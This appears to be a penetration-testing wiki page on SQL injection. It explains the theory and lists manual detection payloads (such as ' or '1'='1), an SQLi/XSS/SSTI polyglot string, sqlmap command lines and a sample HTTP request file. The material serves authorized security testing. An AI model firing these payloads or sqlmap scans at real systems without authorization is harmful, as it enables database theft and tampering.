SQL injection

Theory
Many web applications use one or multiple databases to manage data. In order to dynamically edit the database while users browse the website, some SQL queries can rely on input vectors. When input parameters used in those queries are insufficiently validated or sanitized, these web apps can be vulnerable to SQL injections.
SQL injection attacks can allow attackers to read, update, insert or delete database data by injecting a piece of SQL query through the input vector, hence affecting the intended execution of the original query. In some cases, these attacks can also lead to File Download, File Upload or even Remote Code Execution.
Practice
Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for database operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.
Vulnerable input recon
Using special SQL characters (', ", #, ;, ), *,%) in an input could lead to SQL errors sometimes echoed back to the users for debugging. This would indicate an entry point not sanitized enough and thus potentially vulnerable to SQL injection.
Manuel testing
With some.website/?parameter=value some basic useful payload to detect vulnerable inputs are:
1
parameter=1
2
parameter=1'
3
parameter=1"
4
parameter=[1]
5
parameter[]=1
6
parameter=1`
7
parameter=1\
8
parameter=1/**/
9
parameter=1/*!111'*/
10
parameter=1' or '1'='1
11
parameter=1 or 1=1
12
parameter=' or ''='
13
parameter=' OR 1 -- -
14
parameter=1' or 1=1 --
15
parameter=1' or 1=1 -- -
16
parameter=1' or 1=1 /*
17
parameter='='
Copied!
GET parameters are not the only ones that could be vulnerable to SQLi. Testers should thoroughly test all user inputs (parameters, user-agents, cookies...)
The following payload is used for testing SQL injections, XSS (Cross-Site Scripting) and SSTI (Server-Side Template Injection).
1
'"<svg/onload=prompt(5);>{{7*7}}
Copied!
Automated tests
Tools like SQLmap (Python) or SQLninja (Perl) can also be used to fuzz input vectors, find vulnerable entry points and automatically exploit them.
Just like any fuzzing tool, these scans need to be slowed down when testing production instances as it could lead to an unintended denial of service. In addition to that, testers need to use those tools with the greatest care since creating issues with production instances databases (like overwriting or deleting data) could have a serious fallout.
1
sqlmap --user-agent "PENTEST" --url $URL -p target_parameter --all
Copied!
It is also possible to load request files and let SQLmap do the heavy work of fuzzing every parameter and input vector.
1
sqlmap -r $REQUEST_FILE --level 2 -v 2 --all
Copied!
The request file should look like a standard HTTP request (line, headers, empty line, optional data). It can be obtained by many ways like inspecting network operations in a browser, intercepting requests with a proxy (like Burp Suite), and so on.
1
POST /login.php HTTP/1.1
2
Host: www.target.com
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: en-US,en;q=0.8,fr;q=0.5,fr-FR;q=0.3
6
Accept-Encoding: gzip, deflate, br
7
Content-Type: application/x-www-form-urlencoded
8
Content-Length: 43
9
Cookie: JSESSIONID=F168EA13C46D14AA134E13D4;
10
Connection: keep-alive
11
Upgrade-Insecure-Requests: 1
12
​
13
username=testusername&password=testpassword
Copied!
References
MySQL Injection Cheat Sheet
ASafety
SQL Injection | OWASP
What is SQL Injection? Tutorial & Examples | Web Security Academy
WebSecAcademy
SQL Injection | pentestmonkey
SQL injection cheatsheets (MSSQL, MySQL, Oracle SQL, Postgres SQL, ...)
PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings
GitHub

🛠️ File inclusion

XSS (Cross-Site Scripting)

Last modified 9mo ago

Copy link

Edit on GitHub

Contents

Theory

Practice

Vulnerable input recon

Manuel testing

Automated tests

References